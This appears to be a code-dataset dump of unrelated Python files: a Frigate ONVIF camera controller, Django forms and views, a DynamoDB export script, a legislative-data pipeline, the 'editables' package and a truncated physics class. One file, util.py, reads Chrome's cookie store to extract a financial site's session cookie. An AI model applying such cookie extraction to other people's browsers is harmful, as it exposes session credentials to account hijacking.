self.ptz_metrics[camera_name][\"ptz_stopped\"].clear()\n move_request = self.cams[camera_name][\"move_request\"]\n onvif: ONVIFCamera = self.cams[camera_name][\"onvif\"]\n preset_token = self.cams[camera_name][\"presets\"][preset]\n onvif.get_service(\"ptz\").GotoPreset(\n {\n \"ProfileToken\": move_request.ProfileToken,\n \"PresetToken\": preset_token,\n }\n )\n self.ptz_metrics[camera_name][\"ptz_stopped\"].set()\n self.cams[camera_name][\"active\"] = False\n\n def _zoom(self, camera_name: str, command: OnvifCommandEnum) -> None:\n if self.cams[camera_name][\"active\"]:\n logger.warning(\n f\"{camera_name} is already performing an action, stopping...\"\n )\n self._stop(camera_name)\n\n self.cams[camera_name][\"active\"] = True\n onvif: ONVIFCamera = self.cams[camera_name][\"onvif\"]\n move_request = self.cams[camera_name][\"move_request\"]\n\n if command == OnvifCommandEnum.zoom_in:\n move_request.Velocity = {\"Zoom\": {\"x\": 0.5}}\n elif command == OnvifCommandEnum.zoom_out:\n move_request.Velocity = {\"Zoom\": {\"x\": -0.5}}\n\n onvif.get_service(\"ptz\").ContinuousMove(move_request)\n\n def handle_command(\n self, camera_name: str, command: OnvifCommandEnum, param: str = \"\"\n ) -> None:\n if camera_name not in self.cams.keys():\n logger.error(f\"Onvif is not setup for {camera_name}\")\n return\n\n if not self.cams[camera_name][\"init\"]:\n if not self._init_onvif(camera_name):\n return\n\n if command == OnvifCommandEnum.init:\n # already init\n return\n elif command == OnvifCommandEnum.stop:\n self._stop(camera_name)\n elif command == OnvifCommandEnum.preset:\n self._move_to_preset(camera_name, param)\n elif (\n command == OnvifCommandEnum.zoom_in or command == OnvifCommandEnum.zoom_out\n ):\n self._zoom(camera_name, command)\n else:\n self._move(camera_name, command)\n\n def get_camera_info(self, camera_name: str) -> dict[str, any]:\n if camera_name not in self.cams.keys():\n logger.error(f\"Onvif is not setup for {camera_name}\")\n return {}\n\n if not self.cams[camera_name][\"init\"]:\n self._init_onvif(camera_name)\n\n return {\n \"name\": camera_name,\n \"features\": self.cams[camera_name][\"features\"],\n \"presets\": list(self.cams[camera_name][\"presets\"].keys()),\n }\n\n def get_camera_status(self, camera_name: str) -> dict[str, any]:\n if camera_name not in self.cams.keys():\n logger.error(f\"Onvif is not setup for {camera_name}\")\n return {}\n\n if not self.cams[camera_name][\"init\"]:\n self._init_onvif(camera_name)\n\n onvif: ONVIFCamera = self.cams[camera_name][\"onvif\"]\n status_request = self.cams[camera_name][\"status_request\"]\n status = onvif.get_service(\"ptz\").GetStatus(status_request)\n\n if status.MoveStatus.PanTilt == \"IDLE\" and status.MoveStatus.Zoom == \"IDLE\":\n self.cams[camera_name][\"active\"] = False\n if not self.ptz_metrics[camera_name][\"ptz_stopped\"].is_set():\n self.ptz_metrics[camera_name][\"ptz_stopped\"].set()\n\n logger.debug(f\"PTZ stop time: {datetime.datetime.now().timestamp()}\")\n\n self.ptz_metrics[camera_name][\n \"ptz_stop_time\"\n ].value = datetime.datetime.now().timestamp()\n else:\n self.cams[camera_name][\"active\"] = True\n if self.ptz_metrics[camera_name][\"ptz_stopped\"].is_set():\n self.ptz_metrics[camera_name][\"ptz_stopped\"].clear()\n\n logger.debug(f\"PTZ start time: {datetime.datetime.now().timestamp()}\")\n\n self.ptz_metrics[camera_name][\n \"ptz_start_time\"\n ].value = datetime.datetime.now().timestamp()\n self.ptz_metrics[camera_name][\"ptz_stop_time\"].value = 0\n\n return {\n \"pan\": status.Position.PanTilt.x,\n \"tilt\": status.Position.PanTilt.y,\n \"zoom\": status.Position.Zoom.x,\n \"pantilt_moving\": status.MoveStatus.PanTilt,\n \"zoom_moving\": status.MoveStatus.Zoom,\n }\n", "sub_path": "frigate/ptz/onvif.py", "file_name": "onvif.py", "file_ext": "py", "file_size_in_byte": 14324, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "enum.Enum", "line_number": 17, "usage_type": "name"}, {"api_name": "frigate.config.FrigateConfig", "line_number": 33, "usage_type": "name"}, {"api_name": "frigate.types.PTZMetricsTypes", "line_number": 33, "usage_type": "name"}, {"api_name": "onvif.ONVIFCamera", "line_number": 35, "usage_type": "name"}, {"api_name": "onvif.ONVIFCamera", "line_number": 45, "usage_type": "call"}, {"api_name": "site.getsitepackages", "line_number": 50, "usage_type": "call"}, {"api_name": "onvif.ONVIFError", "line_number": 60, "usage_type": "name"}, {"api_name": "onvif.ONVIFCamera", "line_number": 64, "usage_type": "name"}, {"api_name": "onvif.create_media_service", "line_number": 67, "usage_type": "call"}, {"api_name": "onvif.ONVIFError", "line_number": 71, "usage_type": "name"}, {"api_name": "onvif.create_ptz_service", "line_number": 75, "usage_type": "call"}, {"api_name": "onvif.ONVIFError", "line_number": 133, "usage_type": "name"}, {"api_name": "onvif.ONVIFCamera", "line_number": 170, "usage_type": "name"}, {"api_name": "onvif.get_service", "line_number": 172, "usage_type": "call"}, {"api_name": "onvif.ONVIFCamera", "line_number": 189, "usage_type": "name"}, {"api_name": "onvif.get_service", "line_number": 211, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 228, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 228, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 231, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 231, "usage_type": "attribute"}, {"api_name": "onvif.ONVIFCamera", "line_number": 233, "usage_type": "name"}, {"api_name": "numpy.interp", "line_number": 238, "usage_type": "call"}, {"api_name": "numpy.interp", "line_number": 246, "usage_type": "call"}, {"api_name": "onvif.get_service", "line_number": 267, "usage_type": "call"}, {"api_name": "onvif.ONVIFCamera", "line_number": 279, "usage_type": "name"}, {"api_name": "onvif.get_service", "line_number": 281, "usage_type": "call"}, {"api_name": "onvif.ONVIFCamera", "line_number": 298, "usage_type": "name"}, {"api_name": "onvif.get_service", "line_number": 306, "usage_type": "call"}, {"api_name": "onvif.ONVIFCamera", "line_number": 355, "usage_type": "name"}, {"api_name": "onvif.get_service", "line_number": 357, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 364, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 364, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 368, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 368, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 374, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 374, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 378, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 378, "usage_type": "attribute"}]} {"seq_id": "565241691", "text": "from django import forms\nfrom .models import *\n\n\nclass telephoneForm(forms.ModelForm):\n\n class Meta:\n model = Telephone\n fields = '__all__'\n widgets = {\n\n \"calling_code\":forms.Select(),\n \"number\" : forms.TextInput(attrs={\"pattern\":\"[0-9]+\",\n \"placeholder\":\"78 666 66 66\"})\n\n }", "sub_path": "telApp/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 374, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.forms.ModelForm", "line_number": 5, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 5, "usage_type": "name"}, {"api_name": "django.forms.Select", "line_number": 12, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 12, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 13, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 13, "usage_type": "name"}]} {"seq_id": "365539341", "text": "# -*- coding: utf-8 -*-\nfrom django.template.loader import get_template\nfrom django.shortcuts import render,redirect\nfrom django.http import HttpResponse\nfrom .models import Post,About\nfrom datetime import datetime\n# Create your views here.\n\ndef homepage(request):\n template = get_template('index.html')\n posts = Post.objects.all()\n posts_list = list()\n for post in posts:\n posts_list.append(post.title)\n now = datetime.now()\n # locals()函数会把当前内存中收到的所有局部变量使用字典类型打包起来\n html = template.render(locals())\n return HttpResponse(html)\n\ndef showpost(request,slug):\n template = get_template('post.html')\n try:\n post = Post.objects.get(slug= slug)\n if post != None:\n html = template.render(locals())\n return HttpResponse(html)\n except:\n # 发生例外找不到时候，重定向到首页\n return redirect('/')\n\n\ndef showabout(request):\n template = get_template('about.html')\n try:\n now = datetime.now()\n abouts = About.objects.all()\n html = template.render(locals())\n return HttpResponse(html)\n except:\n return redirect('/')", "sub_path": "My_Django/mblog/mainsite/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1204, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.template.loader.get_template", "line_number": 10, "usage_type": "call"}, {"api_name": "models.Post.objects.all", "line_number": 11, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 11, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 11, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 15, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 18, "usage_type": "call"}, {"api_name": "django.template.loader.get_template", "line_number": 21, "usage_type": "call"}, {"api_name": "models.Post.objects.get", "line_number": 23, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 23, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 23, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 26, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 29, "usage_type": "call"}, {"api_name": "django.template.loader.get_template", "line_number": 33, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 35, "usage_type": "name"}, {"api_name": "models.About.objects.all", "line_number": 36, "usage_type": "call"}, {"api_name": "models.About.objects", "line_number": 36, "usage_type": "attribute"}, {"api_name": "models.About", "line_number": 36, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 38, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 40, "usage_type": "call"}]} {"seq_id": "508778669", "text": "#!/usr/bin/env python\n# -*- encoding: utf-8\n\nimport datetime as dt\nimport decimal\nimport json\n\nfrom common import get_read_only_aws_resource\n\n\nclass DecimalEncoder(json.JSONEncoder):\n def default(self, o):\n if isinstance(o, decimal.Decimal):\n return float(o)\n return super(DecimalEncoder, self).default(o)\n\n\nif __name__ == \"__main__\":\n dynamodb = get_read_only_aws_resource(\"dynamodb\").meta.client\n paginator = dynamodb.get_paginator(\"scan\")\n\n date_slug = dt.datetime.now().strftime(\"%Y-%m-%d_%H-%m\")\n out_path = f\"ingests__{date_slug}.json\"\n\n with open(out_path, \"w\") as outfile:\n for page in paginator.paginate(TableName=\"storage-ingests\"):\n for item in page[\"Items\"]:\n outfile.write(json.dumps(item, cls=DecimalEncoder) + \"\\n\")\n outfile.flush()\n\n print(out_path)\n", "sub_path": "scripts/ss_get_all_ingests.py", "file_name": "ss_get_all_ingests.py", "file_ext": "py", "file_size_in_byte": 856, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "json.JSONEncoder", "line_number": 11, "usage_type": "attribute"}, {"api_name": "decimal.Decimal", "line_number": 13, "usage_type": "attribute"}, {"api_name": "common.get_read_only_aws_resource", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 22, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 28, "usage_type": "call"}]} {"seq_id": "565332951", "text": "import os, shutil, io\n\nfrom tools import json2arbo, prepare_articles, update_procedure, \\\n prepare_amendements, prepare_interventions, reorder_interventions_and_correct_procedure, \\\n compute_stats, add_links\nfrom tools.common import debug_file, print_json\n\n\ndef project_header_template(procedure):\n return \"\"\"\n<h1>Les données pour: \"{long_title}\"</h1>\n<p>Les données mises à disposition dans ces répertoires sont celles utilisées par <a href=\"http://lafabriquedelaloi.fr/\">La Fabrique de la Loi</a> pour visualiser \"<a href=\"http://lafabriquedelaloi.fr/lois.html?loi={dos_id}\">{long_title}</a>\".</p>\n<p>Elles ont été constituées par <a href=\"http://regardscitoyens.org\">Regards Citoyens</a> à partir de <a href=\"http://nosdeputes.Fr/\">NosDéputés.fr</a>, <a href=\"http://NosSénateurs.fr\">NosSénateurs.fr<a/> et les sites du <a href=\"http://senat.fr/\">Sénat</a> et de l'<a href=\"http://assemblee-nationale.fr\">Assemblée nationale</a>. Elles sont réutilisables librement en <img src=\"http://www.nosdeputes.fr/images/opendata.png\" alt=\"Open Data\"/> sous la licence <a href=\"http://opendatacommons.org/licenses/odbl/\">ODBL</a>.</p>\n<p>Le répertoire <a href=\"procedure/\"><img src=\"http://www.lafabriquedelaloi.fr/icons/folder.gif\"/> procedure/</a> contient les données brutes au format JSON sur les textes, les interventions et les amendements à chaque étape de la procédure. Le répertoire <a href=\"viz/\"><img src=\"http://www.lafabriquedelaloi.fr/icons/folder.gif\"/> viz/</a> contient les fichiers utilisés par l'application.</p>\n\"\"\".format(long_title=procedure.get('long_title'), dos_id=procedure['id'])\n\n\ndef dump_success_log(output_dir, log):\n log = log.getvalue()\n logfile = os.path.join(output_dir, \"parsing.log\")\n with open(logfile, 'w') as f:\n f.write(log)\n textid = output_dir.split('/')[-1]\n api_dir = output_dir.replace('/' + textid, '')\n err_log = os.path.join(api_dir, 'logs', textid)\n if os.path.exists(err_log):\n os.remove(err_log)\n\n\ndef process(dos, OUTPUT_DIR, log=io.StringIO(), skip_already_done=False):\n dos['id'] = dos.get('senat_id', dos.get('assemblee_id'))\n\n output_dir = os.path.join(OUTPUT_DIR, dos['id'] + '_tmp')\n final_output_dir = os.path.join(OUTPUT_DIR, dos['id'])\n print(' writing to:', dos['id'] + '_tmp')\n\n if skip_already_done and os.path.exists(final_output_dir):\n print(' - already done')\n return\n\n shutil.rmtree(output_dir, ignore_errors=True)\n\n debug_file(dos, 'debug_before_add_links.json')\n dos = add_links.process(dos)\n\n # add texte.json and write all the text files tree\n debug_file(dos, 'debug_before_json2arbo.json')\n dos = json2arbo.process(dos, output_dir + '/procedure')\n\n print(' - process article versions')\n json2arbo.mkdirs(os.path.join(output_dir, 'viz'))\n debug_file(dos, 'debug_before_prepare_articles.json')\n articles_etapes = prepare_articles.process(dos)\n print_json(articles_etapes, os.path.join(output_dir, 'viz', 'articles_etapes.json'))\n\n procedure = update_procedure.process(dos, articles_etapes)\n\n print(' - process amendements & interventions')\n procedure = prepare_amendements.process(output_dir, procedure)\n\n print(' - re-order interventions and correct procedure dates')\n procedure = reorder_interventions_and_correct_procedure.process(output_dir, procedure)\n\n print(' - prepare interventions.json')\n prepare_interventions.process(output_dir, procedure)\n\n print(' - compute stats')\n debug_file(dos, 'debug_before_stats.json')\n procedure['stats'] = compute_stats.process(output_dir, procedure)\n\n # remove intermediate data\n for step in procedure['steps']:\n for key in 'articles_completed', 'articles', 'texte.json':\n try:\n step.pop(key)\n except KeyError:\n pass\n\n # avoid duplicate titles\n if \" de loi organique\" in procedure['long_title']:\n procedure['short_title'] += \" (texte organique)\"\n\n # AN doslegs have no short_titles\n if 'short_title' not in procedure:\n procedure['short_title'] = procedure['long_title']\n\n print_json(procedure, os.path.join(output_dir, 'viz', 'procedure.json'))\n\n with open(os.path.join(output_dir, 'HEADER.html'), 'w') as f:\n f.write(project_header_template(procedure))\n\n shutil.rmtree(final_output_dir, ignore_errors=True)\n os.rename(output_dir, final_output_dir)\n\n print(' FINISHED -', dos['id'])\n\n dump_success_log(final_output_dir, log)\n", "sub_path": "format_data_for_frontend.py", "file_name": "format_data_for_frontend.py", "file_ext": "py", "file_size_in_byte": 4520, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 27, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 41, "usage_type": "call"}, {"api_name": "tools.common.debug_file", "line_number": 43, "usage_type": "call"}, {"api_name": "tools.add_links.process", "line_number": 44, "usage_type": "call"}, {"api_name": "tools.add_links", "line_number": 44, "usage_type": "name"}, {"api_name": "tools.common.debug_file", "line_number": 47, "usage_type": "call"}, {"api_name": "tools.json2arbo.process", "line_number": 48, "usage_type": "call"}, {"api_name": "tools.json2arbo", "line_number": 48, "usage_type": "name"}, {"api_name": "tools.json2arbo.mkdirs", "line_number": 51, "usage_type": "call"}, {"api_name": "tools.json2arbo", "line_number": 51, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "tools.common.debug_file", "line_number": 52, "usage_type": "call"}, {"api_name": "tools.prepare_articles.process", "line_number": 53, "usage_type": "call"}, {"api_name": "tools.prepare_articles", "line_number": 53, "usage_type": "name"}, {"api_name": "tools.common.print_json", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "tools.update_procedure.process", "line_number": 56, "usage_type": "call"}, {"api_name": "tools.update_procedure", "line_number": 56, "usage_type": "name"}, {"api_name": "tools.prepare_amendements.process", "line_number": 59, "usage_type": "call"}, {"api_name": "tools.prepare_amendements", "line_number": 59, "usage_type": "name"}, {"api_name": "tools.reorder_interventions_and_correct_procedure.process", "line_number": 62, "usage_type": "call"}, {"api_name": "tools.reorder_interventions_and_correct_procedure", "line_number": 62, "usage_type": "name"}, {"api_name": "tools.prepare_interventions.process", "line_number": 65, "usage_type": "call"}, {"api_name": "tools.prepare_interventions", "line_number": 65, "usage_type": "name"}, {"api_name": "tools.common.debug_file", "line_number": 68, "usage_type": "call"}, {"api_name": "tools.compute_stats.process", "line_number": 69, "usage_type": "call"}, {"api_name": "tools.compute_stats", "line_number": 69, "usage_type": "name"}, {"api_name": "tools.common.print_json", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 92, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 93, "usage_type": "call"}]} {"seq_id": "112465717", "text": "import logging\nfrom random import Random;\n\nimport browsercookie;\n\n\ndef getSessionId():\n chrome_cookie = browsercookie.chrome()\n for cookie in chrome_cookie:\n if '_lufaxSID' == cookie.name:\n logging.info(cookie);\n # cookieJar = requests.cookies.RequestsCookieJar();\n # cookieJar.set(cookie.name, cookie.value, domain=cookie.domain, path=cookie.path);\n # logging.info(cookieJar);\n return cookie.value;\n\n return None;\n\n\ndef randomNum():\n numLen = 6;\n num = \"0123456789\";\n str = ''\n length = len(num) - 1\n random = Random()\n for i in range(numLen):\n str += num[random.randint(0, length)]\n return str\n\n\ndef randomStr():\n strLen = 20;\n strs = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ/\";\n str = ''\n length = len(strs) - 1\n random = Random()\n for i in range(strLen):\n str += strs[random.randint(0, length)]\n return str\n\n\nimport rsa\nimport base64\nfrom Crypto.PublicKey import RSA\n\n# RSA加密解密\n\npubkey = '''-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDR4Wq9l44lw/thTPyFmSi2hII9\n2EPh90yGXQNL5e7zJPD16j6Qtr+tIPNSQaVrnmNwrtqyEC2x4Meyp3tdCWPYUF11\nr2GgDgxKfUByetNG4XqJeUKkkJ6D6C706mTf/2zsm8KFoNYCYPX1GhvpiTOikHcN\nlHLCnOD7jbMAovJg/QIDAQAB\n-----END PUBLIC KEY-----'''\n\npub_title = \"BE24E372DC1B329633A6A014A7C02797915E3C363DD6EE119377BD645329B7E6446B4A71AC5F878EBC870C6D8BFD3C06B92E6C6E9339\" \\\n \"0B34192A7A9E430800091761473FAC2CC0A68A828B2589A8CB729C19161E8E27F4C0F3CDE9701FAFE48D2B65947799072AFA6A3F2D7BDB\" \\\n \"EF8B6D7429C2D115A3E5F723467D57B3AC6967\";\npubkey_str = \"\"\"-----BEGIN PUBLIC KEY-----\"\"\" + '\\n' + pub_title + '\\n' + \"\"\"-----END PUBLIC KEY-----\"\"\"\n\n\n# 加密\ndef to_encrypt(plain):\n rsa_key = RSA.importKey(pubkey)\n x = rsa.encrypt(plain.encode(), rsa_key)\n return base64.b64encode(x).decode()\n\n\nprint(to_encrypt('test'))\n", "sub_path": "util.py", "file_name": "util.py", "file_ext": "py", "file_size_in_byte": 1887, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "browsercookie.chrome", "line_number": 8, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 11, "usage_type": "call"}, {"api_name": "random.Random", "line_number": 25, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 27, "usage_type": "call"}, {"api_name": "random.Random", "line_number": 36, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 38, "usage_type": "call"}, {"api_name": "Crypto.PublicKey.RSA.importKey", "line_number": 63, "usage_type": "call"}, {"api_name": "Crypto.PublicKey.RSA", "line_number": 63, "usage_type": "name"}, {"api_name": "rsa.encrypt", "line_number": 64, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 65, "usage_type": "call"}]} {"seq_id": "186050655", "text": "from rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom cart.models import Cart\nfrom products.models import Product\n\nfrom .serializers import CartSerializer\n\n\nclass CartAPIView(APIView):\n permission_classes = [IsAuthenticated]\n\n def get(self, request, *args, **kwargs):\n cart_obj = Cart.objects.get_existing_or_new(request)[0]\n serializer = CartSerializer(cart_obj)\n return Response(serializer.data)\n\n def post(self, request, *args, **kwargs):\n product_id = request.POST.get(\"id\")\n product_obj = Product.objects.get(id=product_id)\n cart_obj = Cart.objects.get_existing_or_new(request)[0]\n if request.POST.get('type') == \"remove\":\n cart_obj.products.remove(product_obj)\n cart_obj.save()\n else:\n cart_obj.products.add(product_obj)\n cart_obj.save()\n serializer = CartSerializer(cart_obj)\n return Response(serializer.data)\n", "sub_path": "cart/api/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1033, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "rest_framework.views.APIView", "line_number": 11, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 12, "usage_type": "name"}, {"api_name": "cart.models.Cart.objects.get_existing_or_new", "line_number": 15, "usage_type": "call"}, {"api_name": "cart.models.Cart.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "cart.models.Cart", "line_number": 15, "usage_type": "name"}, {"api_name": "serializers.CartSerializer", "line_number": 16, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 17, "usage_type": "call"}, {"api_name": "products.models.Product.objects.get", "line_number": 21, "usage_type": "call"}, {"api_name": "products.models.Product.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "products.models.Product", "line_number": 21, "usage_type": "name"}, {"api_name": "cart.models.Cart.objects.get_existing_or_new", "line_number": 22, "usage_type": "call"}, {"api_name": "cart.models.Cart.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "cart.models.Cart", "line_number": 22, "usage_type": "name"}, {"api_name": "serializers.CartSerializer", "line_number": 29, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 30, "usage_type": "call"}]} {"seq_id": "555577737", "text": "# SYS\nfrom sys import argv\nfrom os.path import join, dirname, realpath\nfrom os import getenv\n\n# MODULES\nfrom server import WSGI\n\n\nserver_rc = realpath(join(dirname(__file__), 'server/server.rc'))\nstatics_dir = realpath(join(dirname(__file__), 'server/statics'))\nhost = '127.0.0.1'\n\nif \"--dev\" in argv:\n port = 8000\n environment = 'development'\n mongodb_uri = \"mongodb://localhost:27017/icwa_waves\"\n debug = True\nelse:\n port = 8000\n environment = 'production'\n mongodb_uri = getenv(\"MONGODB_URI\")\n debug = False\n\n\nclass App (object):\n\n def __init__ (self):\n self.app = WSGI({\n \"mongodb_uri\": mongodb_uri,\n \"statics_dir\": statics_dir,\n \"server_rc\": server_rc,\n \"port\": port,\n \"debug\": debug,\n })\n\n def __call__ (self, *args, **kwargs):\n return self.app(*args, **kwargs)\n\n\napp = App()\n\nif __name__ == '__main__':\n from werkzeug.serving import run_simple\n run_simple(host, port, app, use_debugger=debug, use_reloader=debug)\n", "sub_path": "wsgi.py", "file_name": "wsgi.py", "file_ext": "py", "file_size_in_byte": 998, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.realpath", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 14, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 22, "usage_type": "call"}, {"api_name": "server.WSGI", "line_number": 29, "usage_type": "call"}, {"api_name": "werkzeug.serving.run_simple", "line_number": 45, "usage_type": "call"}]} {"seq_id": "130552048", "text": "import pkgutil\nfrom pathlib import Path\n\n__all__ = (\n \"build_editable\",\n \"__version__\",\n)\n\n__version__ = \"0.1\"\n\n_TEMPLATE = pkgutil.get_data(__package__, \"install_hook.py\").decode(\"utf-8\")\n\n\ndef build_editable(location, expose=None, hide=None):\n \"\"\"Generate files that can be added to a wheel to expose packages from a directory.\n\n By default, every package (directory with __init__.py) in the supplied\n location will be exposed on sys.path by the generated wheel.\n\n Optional arguments:\n\n expose: A list of packages to include in the generated wheel\n (overrides the default behaviour).\n hide: A list of sub-packages of exposed packages that will be\n invisible in the generated wheel.\n\n Returns: a list of (name, content) pairs, specifying files that should\n be added to the generated wheel. Callers are responsible for building a\n valid wheel containing these files.\n \"\"\"\n\n location = Path(location)\n\n if expose is None:\n expose = [pkg.parent.name for pkg in location.glob(\"*/__init__.py\")]\n if hide is None:\n hide = []\n\n for pkg in expose:\n code = _TEMPLATE\n for of, to in {\n '\"\" # location of replacement': str(location),\n '\"\" # excludes': hide,\n }.items():\n code = code.replace(of, repr(to))\n\n yield \"{}.py\".format(pkg), code\n", "sub_path": "src/editables/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 1374, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pkgutil.get_data", "line_number": 11, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 32, "usage_type": "call"}]} {"seq_id": "292437560", "text": "'''\r\nCreated on Sep 18, 2014\r\n\r\n@author: Seyed Iman Mirzaei\r\n'''\r\n\r\n#import numpy as np\r\nimport numpy as np\r\nimport scipy.optimize as opt\r\nprint('JJObject v1.0.0')\r\n\r\nclass junction():\r\n version='1.0.0'\r\n def __init__(self, Tc, T, Area, RnUnit,\r\n CjUnit, Cground):\r\n \r\n #def __init__(self, Tc=1.23, T=20e-3, Area=4e-13, RnUnit=1300e-12,\r\n # CjUnit=50e-3, Cground=30e-18):\r\n \r\n # Defining physical constants\r\n self.ec_ = 1.602176565e-19 # elementary charge (C)\r\n self.c_ = 299792458 # speed of light (m.s^-1)\r\n self.eps0_ = 8.854187817e-12 # electric constant (F.m^-1)\r\n self.mu0_ = 4*np.pi*1e-7 # magnetic constant (N.A^-2)\r\n self.h_ = 6.62606957e-34 # planck constant (J.s)\r\n self.hbar_ = self.h_/(2*np.pi) # reduced planck constant (J.s)\r\n self.kb_ = 1.3806488e-23 # Boltzman coefficient (J.K^-1)\r\n self.Phi0_ = self.h_/(2*self.ec_) # magnetic flux quanta (Wb)\r\n \r\n # Defining junction constants from parameters passed to the object\r\n self.Tc = Tc # critical temperature in kelvin\r\n self.T = T # junction temperature in kelvin\r\n self.Area = Area # junction area (m^2)\r\n self.RnUnit = RnUnit # normal state resistance of the junction per unit area (ohm)\r\n self.CjUnit = CjUnit # junction capacitance per unit area (Farads)\r\n self.Cground = Cground\r\n \r\n # Calculating junction properties\r\n self.update()\r\n \r\n \r\n \r\n \r\n def update(self, Tc=None, T=None, Area=None, RnUnit=None, CjUnit=None, Cground=None):\r\n if not Tc is None :\r\n self.Tc = Tc\r\n if not T is None :\r\n self.T = 